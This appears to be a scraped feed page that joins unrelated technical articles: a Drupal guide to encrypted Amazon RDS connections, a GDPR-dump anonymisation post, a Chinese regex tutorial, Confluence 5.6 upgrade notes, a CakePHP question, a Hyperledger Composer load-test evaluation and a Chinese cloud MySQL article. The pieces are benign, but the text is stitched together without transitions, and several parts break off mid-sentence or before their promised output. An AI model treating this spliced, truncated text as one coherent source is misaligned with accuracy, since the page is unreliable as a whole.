          PreviousNext: Encrypted Drupal Database Connections with Amazon RDS      Cache   Translate Page   Web Page Cache   

Malicious users can intercept or monitor plaintext data transmitting across unencrypted networks, jeopardising the confidentiality of sensitive data in Drupal applications. This tutorial will show you how to mitigate this type of attack by encrypting your database queries in transit.

by Nick Santamaria /

With attackers and data breaches becoming more sophisticated every day, it is imperative that we take as many steps as practical to protect sensitive data in our Drupal apps. PreviousNext use Amazon RDS for our MariaDB and MySQL database instances. RDS supports SSL encryption for data in transit, and it is extremely simple to configure your Drupal app to connect in this manner.

1. RDS PEM Bundle

The first step is ensuring your Drupal application has access to the RDS public certificate chain to initiate the handshake. How you achieve this will depend on your particular deployment methodology - we have opted to bake these certificates into our standard container images. Below are the lines we've added to our PHP Dockerfile.

# Add Amazon RDS TLS public certificate.
ADD https://s3.amazonaws.com/rds-downloads/rds-combined-ca-bundle.pem  /etc/ssl/certs/rds-combined-ca-bundle.pem
RUN chmod 755 /etc/ssl/certs/rds-combined-ca-bundle.pem

If you use a configuration management tool like ansible or puppet, the same principal applies - download that .pem file to a known location on the app server.

If you have limited control of your hosting environment, you can also commit this file to your codebase and have it deployed alongside your application.

2. Drupal Database Configuration

Next you need to configure Drupal to use this certificate chain if it is available. The PDO extension makes light work of this. This snippet is compatible with Drupal 7 and 8.

$rds_cert_path = "/etc/ssl/certs/rds-combined-ca-bundle.pem";
if (is_readable($rds_cert_path)) {
  $databases['default']['default']['pdo'][PDO::MYSQL_ATTR_SSL_CA] = $rds_cert_path;
}

3. Confirmation

The hard work is done, you'll now want to confirm that the connections are actually encrypted.

Use drush to smoke check the PDO options are being picked up correctly. Running drush sql-connect should give you a new flag: --ssl-ca.

$ drush sql-connect

mysql ... --ssl-ca=/etc/ssl/certs/rds-combined-ca-bundle.pem

If that looks OK, you can take it a step further and sniff the TCP connection between Drupal and the RDS server.

This requires root access to your server, and the tcpflow package installed - this tool will stream the data being transmitted over port 3306. You are wanting to see illegible garbled data - definitely not content that looks like a SQL queries or responses!

Run this command, and click around your site while logged in (to ensure minimal cache hits).

$ tcpflow -i any -C -g port 3306

This is the type of output which indicates the connection is encrypted.

tcpflow: listening on any

          Amazee Labs: Transparent Database Sanitization with GDPR-dump      Cache   Translate Page   Web Page Cache   
Transparent Database Sanitization with GDPR-dump

With GDPR in full effect, sanitization of user data is a fairly hot topic. Here at Amazee we take our clients and our clients’ clients privacy seriously, so we have been investigating several possible approaches to anonymizing data.

In the Drupal world, and the PHP world more generally, there are several options available. Here, though, I’d like to discuss one we think is particularly cool.

Blaize Kaye Tue, 08/07/2018 - 14:12
Transparent Database Sanitization with GDPR-dump

At Amazee Labs’ Global Maintenance, we work with several different projects per day. We move data from our production to staging and dev servers, and from our servers to our local development environments. Especially on legacy systems, site-specific configuration details often exist only in the databases, and even if that weren’t the case, the issues we’re investigating routinely require that we dig into the database as it (more or less) is on the production servers. Anonymization is crucial for our day to day work.

So our considerations here are, how do we balance productivity while keeping things anonymous?

One way of achieving this is to make Anonymization transparent to the developer. Essentially, we want our developers to be able to pull down the live database as it exists at the moment that they pull it down, and have it be anonymized.

How can we achieve this?

Well, one way is to analyse the daily workflow to see if there are any points at which the data has to flow through before it reaches the developer?

It turns out that, if you’re working with mysql, this “final common path” that the data flows through is the mysqldump utility.

If you’re running backups, chances are you’re using mysqldump.

If you’re doing a drush sql-sync there’s a call to mysqldump right at the heart of that process.

Mysqldump is everywhere.

The question is, though, how do we anonymize data using myqldump?

The standard mysqldump binary doesn’t support anonymization of data, and short of writing some kind of plugin, this is a non-starter.

Fortunately for us, Axel Rutz came up with an elegant solution, namely, a drop in replacement for the mysqldump binary, which he called gdpr-dump. A few of us here at Amazee loved what he was doing, and started chipping in.

The central idea is to replace the standard mysqldump with gdpr-dump so that any time the former is called, the latter is called instead.

Once the mysqldump call has been hijacked, so to speak, the first order of business is to make sure that we are actually able to dump the database as expected.

This is where mysqldump-php comes in. It’s the library on which the entire gdpr-dump project is based. It provides a pure PHP implementation of mysqldump as a set of classes. On its own, it simply dumps the database, just as the native mysqldump cli tool does.

A great starting point, but it only gets us part of the way.

What we’ve added is the ability to describe which tables and columns in the database being dumped you would like to anonymize. If, for instance, you have a table describing user data with their names, email, telephone numbers, etc. You can describe the structure of this table to gdpr-dump and it will generate fake, but realistic looking, data using the Faker library.

This requires some upfront work, mapping the tables and columns, but once it is done you’re able to call mysqldump in virtually any context, and it will produce an anonymized version of your database.

There is still a lot of thinking and work to be done, but we think it’s worth investing time in this approach. The fact that it can be used transparently is its most compelling aspect - being able to simply swap out mysqldump with gdpr-dump and have the anonymization work without having to change any of the dependent processes.

If any of this piques your interest and you’re looking for more details about how you might be able to use gdpr-dump in your own workflow, feel free to check out the project (and submit PRs): https://github.com/machbarmacher/gdpr-dump.

          网上JS正则基础教程没有涉及的一些知识      Cache   Translate Page   Web Page Cache   

 正则起源

  最近看完了 《精通正则表达式》,收获颇丰,略过了一些晦涩难懂的理论部分,主要看了实战和教程部分。

  下面引用一下百度百科里的内容。

正则表达式的“鼻祖”或许可一直追溯到科学家对人类神经系统工作原理的早期研究。美国新泽西州的Warren McCulloch和出生在美国底特律的Walter Pitts这两位神经生理方面的科学家,研究出了一种用数学方式来描述神经网络的新方法,他们创造性地将神经系统中的神经元描述成了小而简单的自动控制元,从而作出了一项伟大的工作革新。

  那么写正则是不是就是把自己神经工作过程通过正则表现出来呢? 比如让小孩子在一堆图形中找到匹配的图形放入凹槽。

 正则引擎

  正则分几种引擎也从是本书获得的知识点之一。

  • DFA
  • 传统型NFA
  • POSIX NFA

  NFA范围更广,例如 JAVA, PHP, Ruby, .NET... 你是看不起我javascript所以才不列入的吗?

  使用DFA的是flex, MySQL, lex, awk大部分版本… 实话说,除了mysql,都没听过。不过不用在意!

  两个引擎的区别。

  • NFA 更注重表达式
  • DFA 文本主导

  通过书中里例子说,NFA 用表达式来匹配文本,而 DFA 是文本来匹配文表达式。当写好一个正则之后,NFA 是先检查表达式,同时检查文本是否匹配这个表达式。而 DFA 则是先扫描文本,然后处理表达式中的所有匹配可能,如果匹配失败,就将这条可能的线,淘汰。所以这里衍生一个概念就是回溯,NFA 有回溯,而 DFA 没有。

 知识点

  作为一个菜鸟,正则表达式一直是书到用时方恨少的角色。平时都是能抄则抄,不能抄的时候干着急,只能用 substr, indexOf, chatAt等等的方法实现功能,既不优雅也不够装逼。上网学习也都是菜鸟教程,W3school。然后下面说一下以上两个基础教程里没说到的知识点。

  括号捕获与反向引用

  当你在正则表达式里使用了 (),在表达式匹配时,它能记住或者说缓存括号内匹配的结果,从而可以拿到括号内的结果,可以重复使用或者只需要括号内的结果,来剔除不需要的匹配内容。

// 我们经常会用 match 方法来匹配字符串,结果是一个数组,而不是最后的匹配结果,为什么呢?看下面的例子
"abc".match(/(a)(b)(c)/) // ["abc", "a", "b", "c"]
"abc".match(/abc/) // ["abc"]

  可以看到,括号会缓存括号里匹配的内容,单独列出来,那么怎么拿到括号内的内容呢,而不是通过 match 返回的结果拿,因为有时候我们需要在表达式里使用捕获的值,从而达到匹配重复的内容。这部分就叫反向引用。

"abc-abc-cba".replace(/(a)(b)c-\1\2/, '') // c-cba
"abc-abc-cba".replace(/(a)(b)c/g, '$1$2') // ab-ab-cba
RegExp.$1 // a
RegExp.$2 // b

  这里展示了两种使用反向引用的方法,一种是在表达式内通过 \1\2 的形式拿到两个缓存的值,一种是使用 $1$2的形式拿到。因为正则是从左开始匹配的,所以 (a) 就是第一个捕获的匹配值,所以他是\1 或是 $1,以此类推。

  非捕获型括号

  上面说了括号会捕获值,一般来说这样会影响性能,或者你会用到括号来做分组,但是不想捕获的情况,(?:)非捕获型括号就是这么用的,那么重写一下上面的例子。

"abc-abc-cba".replace(/(a)(?:b)c-\1\2/, '') // 匹配失败了,因为\2不存在
"abc-abc-cba".replace(/(a)(?:b)c-\1/, '') // bc-cba
RegExp.$1 // a
RegExp.$2 // ""

  环视

 

类型 正则表达式
肯定逆序环视 ?<=
否定逆序环视 ?<!
肯定顺序环视 ?=
否定顺序环视 ?!

  ?= 和 ?! 在菜鸟和w3school 里有简单的提及,菜鸟里还提到这两个还能重写捕获,但是 ?<= 和 ?<! 并没有提及。

  写几个 demo 表示一下:

// 找一个字母 a ,它紧跟在 b 前面
"abac".replace(/a(?=b)/g, '') // bac

// 找到一个字母 a ,它紧跟在一个不是 b 的字母前面
"abac".replace(/a(?!b)/g, '') // abc

// 接着是逆序环视
// 找到一个字母 a ,它跟在 b 后面
"abac".replace(/(?<=b)a/g, '') // abc

// 找到一个字母 a ,他不跟在 b 后面
"abac".replace(/(?<!b)a/g, '') // bac

// 一个有趣匹配
// 在 a 和 b 之间插入一个 ","
"abac".replace(/(?<=a)(?=b)/g, ",") // a,bac

  可以看出,环视是要和捕获括号一起用的,并且不会占用匹配字符,他只是检查表达式是否匹配。所以这就是重写捕获了。

  忽略优先量词

  量词匹配一般有三种 *、 +、?。然而还可以写作, *? 或 +? ,使匹配结果导向完全不同的结果。例子:

"abc-aaa-abc-abc".replace(/abc-.*-abc/, '') // ""

"abc-aaa-abc-abc".replace(/abc-.*?-abc/, '') // "-abc"

  *? 忽略优先会先忽略当前匹配的值,先匹配后面的 -abc,如果匹配失败,再匹配自己,而 *会优先匹配自己,等匹配结束之后,再从后面一点点吐出,回来匹配量词后面的表达式。从而造成以上不同的结果。知道这个之后,就不会再傻傻的把 * 和 ? 分开解读了。当然,具体情况具体分析,到底使用哪个。

  回溯

  回溯应该算是正则里的性能杀手了吧。如果表达式写的不好,造成过度的灾难性回溯,会导致执行时间指数级增长。具体情况还是通过搜索引擎了解吧,解释起来会过长,而且作为正则新手的我还不一定能解释清楚。。。

 最后

  以上是我在《精通正则表达式》一书中得到的一些收获,希望能分享给大家,如有错误欢迎指正。下一步呢就是去做一些练习来巩固一下了。

Ya consegui resolver el problema, si estoy trabajando con MySQL y termine resolviendo hacer una busqueda y llamando en vez del campo de la tabla a mi dato de "pantalla" por darle un nombre. ya que esta es una empresa pequeña que tiene años haciendo las cosas de una manera son un poco renuentes a cualquier tipo de cambio, asi que lo que hice fue maquillar el campo de texto que tienen para los lotes y como el id es incremental meti ese id en una busqueda despu...

Hola de nuevo Andy:

¿Con qué BD's estás trabajando? este dato es muy importante porque cada Motor trabaja con una sintaxis y funciones distintas para el manejo de fechas, Pudiera pensar que trabajas con MySQL, pero eso sólo Dios y tú lo saben.

tal como lo dices, el principal problema es convertir tu cadena a fecha, porque para obtener el ultimo lote para cada producto debes de usar la función MAX pero no es lo mismo trabajar con cadenas a fechas o números.

          Confluence 5.6 Upgrade Notes      Cache   Translate Page   Web Page Cache   

Page edited by Rachel Robins

Below are some important notes on upgrading to Confluence 5.6. For details of the new features and improvements in this release, please read the Confluence 5.6 Release Notes.

On this page:

Upgrade notes

Data collection in Confluence

Confluence now collects usage information to help us improve the product. All data we collect is subject to the terms of our Privacy Policy and our End User Agreement.

For more information, or to opt out go to  > General Configuration > Analytics.

Server vs Data Center

We've updated the names of our Confluence editions on the downloads page. 

  • Confluence Server is the standard, non-clustered edition.
  • Confluence Data Center is the clustered edition, specifically for large enterprises. 

Reducing noisy notifications

Notifications will no longer be sent when a page is moved. 

Shared home directory for clustered installations

We have introduced the concept of a shared home directory for clustered installations. All cluster nodes will now need to be configured with a path to a directory that is shared between all nodes.

When upgrading from an existing cluster to Confluence Data Center some additional steps apply

Cache configuration

Cache configurations are now stored in:

  • <confluence-home>/shared-home/config/cache-settings-overrides.properties in Confluence Server (standalone)
  • <confluence-shared-home>/config/cache-settings-overrides.properties in Confluence Data Center (clustered)

These files were previously named ehcache.properties and confluence-coherence-cache-config-clustered.xml.

Changes to setenv.sh and setenv.bat

Confluence now uses the CATALINA_OPTS environment variable, rather than JAVA_OPTS to pass Java runtime options to Tomcat. The system properties themselves have not changed, but some command line arguments have changed, including memory and garbage collection. 

When reapplying any previous customizations you should use the CATALINA_OPTS variable, and take into account that the default garbage collector is now G1 and that detailed GC log files are now generated.

Known issues

Incorrect license message in footer 

If you have a Confluence Starter license and upgrade to Confluence 5.6 you will see the following incorrect message in the footer "EVALUATION LICENSE Are you enjoying Confluence? Please consider purchasing it today".  Other license types (commercial, developer, etc) are not affected. See  CONF-34780 - Getting issue details... STATUS . This issue only affects the appearance of the footer and is not a problem with your license. 

We have now released Confluence 5.6.1 which resolves this issue.  

Some translations not available in 5.6

Translations for some new features are not available in this release. We hope to make these translations available shortly after this release (in a bug fix release).  If you use a language pack other than English, we do not recommend you upgrade to Confluence 5.6 yet. 

Database collation

 (warning) If you're running Confluence with Microsoft SQL we require database collation to be set to SQL_Latin1_General_CP1_CS_AS from Confluence 5.5.3 onwards. See Can't start or upgrade Confluence due to an error with MS SQL Server database collation for more information. 

End of support announcements

  • End of support for Tomcat 6.0.x 
    As previously announced, from this release onward we no longer support Tomcat 6.0.x. 
  • End of support for Internet Explorer 
    As previously announced, from this release onward we no longer support Internet Explorer 8. 
  • Advance Notice: WAR edition will not be available after 5.6
    To help us to make Confluence a more robust and scalable application, we have decided to stop providing an EAR/WAR distribution. This means that the only supported application server will be will be the version of Tomcat that is bundled with each release.
    This release (Confluence 5.6) will be the last release to include a EAR/WAR edition. 
  • Advance Notice: End of support for PostgreSQL 8.4, 9.0 and 9.1 
    Confluence 5.6 will be the last release that supports PostgreSQL 8.4, 9.0 and 9.1. 
  • Advance Notice: End of support for MySQL 5.1 
    Confluence 5.6 will be the last release that supports MySQL 5.1. 

See End of Support Announcements for Confluence for more information.

Upgrade procedure

Note: Upgrade to a test environment first. Test your upgrades in your test environment before rolling them into production.

If you are already running a version of Confluence, please follow these instructions to upgrade to the latest version:

  1. Go to  > General Configuration > Support Tools > Health Check to check your license validity, application server, database setup and more.
  2. Before you upgrade, we strongly recommend that you back up your installation directory, home directory and database. 
  3.  If your version of Confluence is earlier than 5.5, read the release notes and upgrade guides for all releases between your version and the latest version.
  4.  Download the latest version of Confluence.
  5.  Follow the instructions in the Upgrade Guide.

 

(warning) The following upgrade steps only apply to existing clustered installations

Follow the normal upgrade procedure, but execute the following steps immediately after shutting down the existing cluster:

  1. Create a directory that is visible to all cluster nodes in the same path.

  2. Shut down the cluster.

  3. Edit confluence.cfg.xml in the home directory of each node and add a new property called confluence.cluster.home with the path of the shared directory as the value. Example:

    <property name="confluence.cluster.home">/mnt/confluence-shared-home</property>
  4. Move all the files/directories from a home directory on one node to the new shared home directory except for the following:Remove the moved files/directories from the home directories on all other nodes.

    • config
    • confluence.cfg.xml
    • index
    • temp
    • bundled-plugins
    • plugin-cache-*
    • plugins-cache
    • plugins-osgi-cache
    • plugins-temp
  5. Continue to follow the normal upgrade procedure

Checking for known issues and troubleshooting the Confluence upgrade

After you have completed the steps required to upgrade your Confluence installation, check all the items on the Confluence post-upgrade checklist to ensure that everything works as expected. If something is not working correctly, please check for known Confluence issues and try troubleshooting your upgrade as described below:

  • Check for known issues. Sometimes we find out about a problem with the latest version of Confluence after we have released the software. In such cases we publish information about the known issues in the Confluence Knowledge Base.
  • Check for answers from the community. Other users may have encountered the same issue. You can check for answers from the community at Atlassian Answers.
  • Did you encounter a problem during the Confluence upgrade? Please refer to the guide to troubleshooting upgrades in the Confluence Knowledge Base.

  • If you encounter a problem during the upgrade and cannot solve it, please create a support ticket and one of our support engineers will help you.

Sample input data ($this->request->data):

[ 'user_group_id' => 1, // Not related to question 'username' => 'test', // This will be saved without core modifications 'user_setting' => [ 'data' => 'sample data' // Saved only after "fix" described below ] ];

This will save parent table (users) but not child table (user_settings).

Then I got following modification I want to get rid of:

If I put this change to ORM\Associations\HasOne::saveAssociated(...)

// $this->property() == 'user_setting' if (is_array($targetEntity)) { $targetEntity = $this->target()->newEntity($targetEntity); }

It will instantly work the way I wanted to. HasOne actually has required data but it also checks if data is inside Entity, in this case it was in array.

I've played with different association naming combinations and it seems that this is how it should be.

Main question is how should I save optional hasOne association with parent row?

Can I somehow make sure that data will be converted into Entity object? I think it should just work as there is all required data available and it also seems to handle relations correctly.


          Evaluating Hyperledger Composer      Cache   Translate Page   Web Page Cache   

Key Takeaways Only a very narrow subset of use cases is appropriate for this technology. The way that Hyperledger Fabric uses MVCC (multiversion concurrency control) when validating write batches is safe enough for financial applications in a decentralized ledger but may not scale efficiently enough in order to be attractive to B2C startups. Avoid this technology if you can make all of your transactions idempotent. This technology is still somewhat immature. Even though this is an open-source project, there are currently some limitations in choice of cloud provider when moving to a production environment (that could change).

I have been following the three-year-old Hyperledger Fabric open-source project since its code base moved to GitHub about two years ago. The Hyperledger projects are hosted by the linux Foundation and sponsored mostly by IBM. They promote the use of what are known as private, or permissioned, blockchains. With a public blockchain, the first anonymous miner who solves a cryptographic puzzle gets to commit the next block of ledger entries to the chain. Private blockchains solve the consensus problem among authenticated peers using algorithms such as Raft or Paxos .

With a blockchain, you get CRUD-style access to the ledger. You also get the ability to store mini programs known as smart contracts on the ledger. When a transaction is submitted to a smart contract, all ledger state-mutating operations executed within the chaincode are atomic ― either all operations get committed or none of them do. If the underlying ledger data accessed by the chaincode has been changed by the time that the operations made by the chaincode are to be committed, then the transaction is aborted. This happens automatically and is a big part of the value to writing smart contracts.

The same folks who released Hyperledger Fabric also released another open-source project, Hyperledger Composer , which makes it easy for developers to write chaincode for Hyperledger Fabric and the DApps (decentralized applications) that can call them.

Why now?

Thoughtworks is a technology consulting company (acquired by Apax Partners) that markets itself as "a community of passionate individuals whose purpose is to revolutionize software design, creation and delivery". Twice a year, they release a Technology Radar report that recommends certain technologies be put on hold, assessed, put on trial, or adopted. Volume 18 of this Technology Radar (pdf) , published in May 2018, placed Hyperledger Composer in the trial ring, which they define as "Worth pursuing. It is important to understand how to build up this capability. Enterprises should try this technology on a project that can handle the risk."

In my role as a software architect, I evaluate emerging technology, and Hyperledger Composer made it onto my personal radar. Every time I evaluate an emerging technology, I use it to implement a rudimentary news feed microservice. Each of these microservices are feature identical and are load-tested in the exact same manner. In this way, I can make reasonable statements about the performance characteristics of any specific technology in comparison with the other technologies. I chose the problem domain of a news feed because of its familiarity and ubiquity in social networks and because it is complicated enough to require non-trivial solutions yet simple enough to understand without getting lost in implementation minutiae. I publish the source code for these microservices, along with the source code needed to load-test them and to collect and analyze the performance results, in a freely available repository on GitHub . In the spirit of scientific peer review, I encourage you to clone the repo and reproduce the results for yourself.

Building the test microservice

Hyperledger Composer allows you to write smart contracts in server-side javascript. It makes available a native client library by which Node.js applications can access the ledger and submit transactions to these smart contracts. For the purposes of this experiment, I used an already developed Node.js microservice (see server/feed4 in the repo) as the control. I copied the source code for that microservice to a new folder (see server/feed7/micro-service in the repo) then I replaced all references to mysql, Redis, and Cassandra with calls to the Hyperledger Composer client API. It is the feed7 project that serves as the test in this experiment. Both projects use Elasticsearch because one of the requirements of each news-feed service is a keyword-based search, and a blockchain is not appropriate for that. Like most of the other microservices in this repo, the feed7 microservice uses Swagger to define its REST API. The specification can be found in the server/swagger/news.yaml file.

With Hyperledger Composer, you create a business network that consists of a data model, a set of transactions that manipulate the data model, and a set of queries by which those transactions can access data within the model. Hyperledger Composer works with Hyperledger Fabric, whose basic network consists of CouchDB , the default peer, the business network peer, a certificate authority service, and an orderer. The feed7 microservice accesses Hyperledger Fabric in the context of this business network, which you can find in the server/feed7/business-network folder.


Evaluating Hyperledger Composer

Figure 1: Feed7 components (the test) .

In the model for this business network, the broadcaster is the participant. There are friendship, inbound, and outbound assets. The friendship asset captures the friend relationship between two broadcasters. Each inbound asset is a news-feed item meant for the associated broadcaster. The outbound asset is a news-feed item that was sent by the associated broadcaster. There are two transactions in this business network: broadcasters can friend each other and a broadcaster can broadcast a news-feed item to its friends. The only query needed inside the business network is for the broadcast transaction to access the broadcaster’s friends.

async function broadcastParticipants(tx) {
const factory = getFactory();
const created = Date.now();
const now = new Date();
const k = tx.sender.participantId + '|' + created + '|';
const outboundRegistry = await getAssetRegistry('info.glennengstrand.Outbound');
const ok = 'Outbound:' + k + Math.random();
const inboundRegistry = await getAssetRegistry('info.glennengstrand.Inbound');
var o = factory.newResource('info.glennengstrand', 'Outbound', ok);
o.created = now;
o.subject = tx.subject;
o.story = tx.story;
o.sender = tx.sender;
await outboundRegistry.add(o);
const friends = await query('broadcasterFriends', { broadcaster: 'resource:info.glennengstrand.Broadcaster#' + tx.sender.participantId });
for (i = 0; i < friends.length; i++) {
const friend = friends[i];
const ik = 'Inbound:' + k + Math.random();
var inb = factory.newResource('info.glennengstrand', 'Inbound', ik);
inb.created = now;
inb.subject = tx.subject;
inb.story = tx.story;
inb.recipient = friend.to;
await inboundRegistry.add(inb);
}
}

Code Sample 1: A smart contract.

The Hyperledger Composer API that is intended to be called within a smart contract closely resembles the API that is intended to be called by the Node.js DApp, but there are some interesting differences. Within the smart contract, you must use the async/await mechanism, but within the DApp, you had to use promises. Smart contracts always had to use predefined queries but DApp code could build a query dynamically and run that. When querying or retrieving either a participant or asset from the DApp, you had to include the constant “PID:” as a part of the key but not when accessing the same data from chaincode.

function submitTransaction(bizNetworkConnection, transaction, from, subject, story, callback, retry) {
const elastic = require('../repositories/elastic');
bizNetworkConnection.submitTransaction(transaction)
.then((result) => {
const retVal = {
"from": from,
"occurred": Date.now(),
"subject": subject,
"story": story
};
elastic.index(from, story);
callback(null, retVal);
}).catch(() => {
setTimeout(() => {
submitTransactionRetry(bizNetworkConnection, transaction, from, subject, story, callback, 2 * retry);
}, retry + Math.floor(Math.random() * Math.floor(1000)));
});
}
exports.addOutbound = function(args, callback) {
const BusinessNetworkConnection = require('composer-client').BusinessNetworkConnection;
const bizNetworkConnection = new BusinessNetworkConnection();
bizNetworkConnection.connect(process.env.CARD_NAME)
.then((bizNetworkDefinition) => {
const factory = bizNetworkDefinition.getFactory();
var transaction = factory.newTransaction('info.glennengstrand', 'Broadcast');
transaction.sender = factory.newRelationship('info.glennengstrand', 'Broadcaster', 'PID:' + args.body.value.from);
transaction.subject = args.body.value.subject;
transaction.story = args.body.value.story;
submitTransaction(bizNetworkConnection, transaction, args.body.value.from, args.body.value.subject, args.body.value.story, callback, 2000);
});
}

Code Sample 2: A DApp calling a smart contract.

In the DApp source code, you may notice all this retry logic when submitting a transaction. That is because Hyperledger Fabric uses MVCC (multiversion concurrency control) when validating write batches and will easily throw a read conflict error. What you do to resolve that is to sleep a slightly randomized amount of time then retry the transaction.

Testing the microservice under load

Both the control and the test use the same load-test application, which you can find in the client/load folder of the repo. The load test creates 10 participants in an eternal loop, and gives each participant anywhere from two to four friends. It has each participant broadcast 10 news-feed items, each of which consists of 150 randomly generated numbers. The load-test app spins up three threads, each doing this process 90% of the time. The other 10% is testing the search functionality.

Instead of calling the news-feed microservice directly, the load-test application calls an open-source API gateway called Kong , which proxies each request from the load-test application to the news-feed microservice. Kong is configured to use the http-log plugin in order to send request and response logs for each call to another microservice, which in turn sends the performance-related parts to Elasticsearch in batches. You can find the source code for the Kong logger microservice in the client/perf4 folder.

I used Kibana to visualize the performance data, including throughput, average latency, and percentile latency. Whenever possible, I always collected summaries of performance metrics from two hours of data.


Evaluating Hyperledger Composer

Evaluating Hyperledger Composer

Figure 3: Per-minute average of latency of outbound post requests for a test (i.e., Hyperledger Composer and Fabric) experiment.

I deployed the control twice, both times in EC2 using m4.xlarge instances; one time when the feed4 service was running in a Docker container and another time when it wasn’t. The Docker version experienced 6% less throughput and almost no difference in latency. I also deployed the test twice, both times in EC2 using m4.xlarge instances for Kong, Cassandra (used by Kong), Elasticsearch, and the load-test application. The first test deployed Hyperledger Fabric, Composer, and the feed7 business network and microservice on an m4.xlarge and the second test used an m4.2xlarge, to see the performance differences in scaling up.


Evaluating Hyperledger Composer

Figure 4: Feed7 deployment (the test).

To allow for valid comparative analysis, and because production configurations were not readily available, both the control and the test used developer configurations for everything. There exists an AWS CloudFormation template for Hyperledger Fabric, but it is deploying the basic network, which is Hyperledger-speak for a developer configuration. The only online documentation for a production configuration that I could find, outside of advertisements for IBM Cloud, were a couple of blogs on H acker N oon by some folks from VMware. Those blogs claimed a production configuration and a diagram indicated that the orderer was backed by Kafka, but the configtx.yaml file in the referenced GitHub repo shows an OrdererType of solo, not Kafka. That suggests a developer configuration. A comment in the source code says, “The solo consensus scheme is very simple, and allows only one consenter for a given chain. It accepts messages being delivered via Order/Configure, orders them, and then uses the blockcutter to form the messages into blocks before writing to the given ledger.”

Performance results

There is both good and bad news for Hyperledger when it comes to performance under load. Here is the bad news: the Hyperledger version of the news feed demonstrated over 300 times less throughput and was three orders of magnitude slower than the traditional version. But the good news is that doubling the hardware capacity for the Hyperledger version yielded a 20% improvement in throughput and almost halved the latency.

The control sustained over 13,000 outbound post requests (i.e., a news-feed broadcast) per minute (RPM). Average latency was 4 ms and the 99th percentile was 9 ms. The test experienced on average 29 outbound post requests per minute for the m4.xlarge and 38 for the m4.2xlarge. The average latency was 4.7 s for the m4.xlarge and 3.2 s for the m4.2xlarge. The 99th percentile latency was 10.2 s for the m4.xlarge and 4.9 s for the m4.2xlarge.


Evaluating Hyperledger Composer

Figure 5: Outbound-post comparative performance summary. Latency numbers are in milliseconds.

There are some other inefficiencies that I need to cover here. The CPU and performance-related metrics on the control quickly reached steady state while the same metrics on the test got worse and worse over time. The biggest offender with CPU was the default peer process in Fabric. This was surprising because the microservice always accessed the news-feed business network whose corresponding peer container was not as CPU intensive. Perhaps the default peer is used to endorse transactions? I could find no way to remove it from the configuration. In a production configuration, you would have multiple peers, otherwise the ledger would not be decentralized.

For both the test and the control, the microservice will eventually crash, once the SSD for the database runs out of available storage. For the control, that happens in the Cassandra database after almost 30 million outbound posts have occurred. For the test, that happens in the CouchDB database after about 4,000 outbound posts have occurred. The SSD storage for both the control and the test have the same capacity, which is 20 GB. Clearly, storage efficiency is not currently a primary concern of the developers contributing to the Hyperledger Fabric project.

Conclusion

Originally, I believed that the news-feed application would be a good use case for a blockchain. The primary action of the load-test application is appending friends and appending news-feed items, which sounds very similar to appending to a ledger. Now, however, I believe that analogy to be superficial. The major concern for blockchains is to prevent what is known as the double-spend problem ― what good is a blockchain that cannot prevent participants from spending the same money twice? For public blockchains, that problem is handled using unspent transaction outputs, or UTXO. Hyperledger Fabric addresses the problem via MVCC on the read sets when validating write batches. Fabric does have inefficiencies that can be addressed as it matures, but I believe that this use of MVCC in order to prevent double spending is an inherent cause for the low throughput and high latency. For all intents and purposes, the news-feed transactions are essentially idempotent. There are no significant consequences if two participants friend themselves in a different order or multiple times, or broadcast items to each other in a different order or multiple times. Fabric is allocating a lot of CPU time and memory to prevent a problem that has no significant impact on a news feed.

This evaluation leads me to believe that the future of software development will not be eaten by blockchains. There is only a very narrow subset of use cases that justify the high computing costs inherent in automatic, guaranteed, distributed concurrency control and validation. Basically, you need to require a consortium marketplace where idempotent transactions are not a possibility. While evaluating Hyperledger Composer at this time has some merit, the current level of maturity makes committing to a production release in the near future highly problematic. The Hyperledger projects are all open source but at the time of this writing there appear to be limitations in choice of cloud provider when progressing to a production environment.

摘要

在私有数据中心运维MySQL的方式是单机运行、一主一备,甚至是多主复制的集群,为了保证高可用,成本是比较高的。而基于云计算,托管运维大量的用户MySQL实例,如何用Cloud Native的原则,通过沙箱隔离、计算和数据的完全分离,实现低成本和高扩展的高可用方案?通过开篇分享,使大家更好的理解Cloud RDS的架构精髓。进而通过基于Azure storage的针对MySQL读写分离的优化,比较深入的分享了一种可以借鉴的主从分离优化技术。

云原生的托管服务架构 云原生的MySQL PaaS服务

我们的MySQL托管运维并非直接将数据存储在本地SSD,而是所有的连接都需要经过一层代理(可以理解为无状态的外部服务器),然后由代理将用户的连接转发到某一个虚拟机中的MySQL实例上。每个虚拟机上有一个Agent用来监控运行的MySQL服务状态,如果其中某个数据库出现问题,就会在其他的虚拟机上恢复该数据库。这种情况下Proxy的好处就显现出来了,因为用户连接是在proxy上,所以当后方数据库出现问题,proxy会将连接重新定位到已恢复的数据库上。

另外我们将所有数据库的读写操作都从本地移到了网络上,真正做到了计算和存储的分离。所有MySQL的数据文件不是保存在本地硬盘,而是存储在分布式的基于网络的存储框架上,数据在网络上被保存多份,同时严格监控用户的带宽资源消耗。

从节点的管理上来看本地的数据中心如果有上千台的节点就已经算是不小的网络了,而公有云在全球有超过百万的物理节点。面对如此多的节点运维的思路和架构会完全不同,我们在网络和存储方面实际上是花费了很大的精力才做到了不同租户或用户之间的隔离。

如果是单一线程的任务,本地存储肯定是比网络要快的,因为网络有着延时,但实际上云计算可以通过高并发来回避在延迟方面的不足。

MySQL PaaS的好处

MySQL PaaS带来了更方便快速的部署,高性价比,高可用性,以及高安全性的全托管服务。缺点在于限制了用户对数据库操作的权力,因为我们是将多个用户的数据放在一起运维,所以对整个环境的安全性要求比较高。

平台支持

我们当前的架构下只是将MySQL作为一个进程,更多的重点是在MySQL任务监控、快速恢复上。由于架构中有代理、计算和分离,所以可以很容易的做到单点的高可用。这种情况下我们后台用的DB Engine是MySQL社区版本,支持现有的MySQL客户端和工具。

启动备用库

当前架构下计算和数据分离之后,数据是被存储在Azure storage上,这时虽然单点就可以达到高可用,但是在数据文件较大的时候,由于网络原因恢复起来需要一定的时间,经过监控发现基本上在3分钟以内。如果用户对时间有要求的话,一般是建议用户再建一个读写分离的从库,主库出现问题的时候手动将从库提升为主库。不过我们提供了更方便的启用备用库功能,可以将从库自动的提升为主库,从而节省时间,此时故障恢复时间通常在分钟级别(一般在60秒内)。

一体化的数据库运维平台
云原生的MySQL托管服务架构及读写分离的优化

这是我们于2017年5月份在全球推出的一体化数据运维平台,MySQL、SQL Database、SQL Database warehouse 、PostgreSQL被统一的放在该平台中。它可以对运维数据进行优化监测并给出建议,能够按需弹性放缩,资源管理。

读写分离的优化 支持基于副本的横向扩展

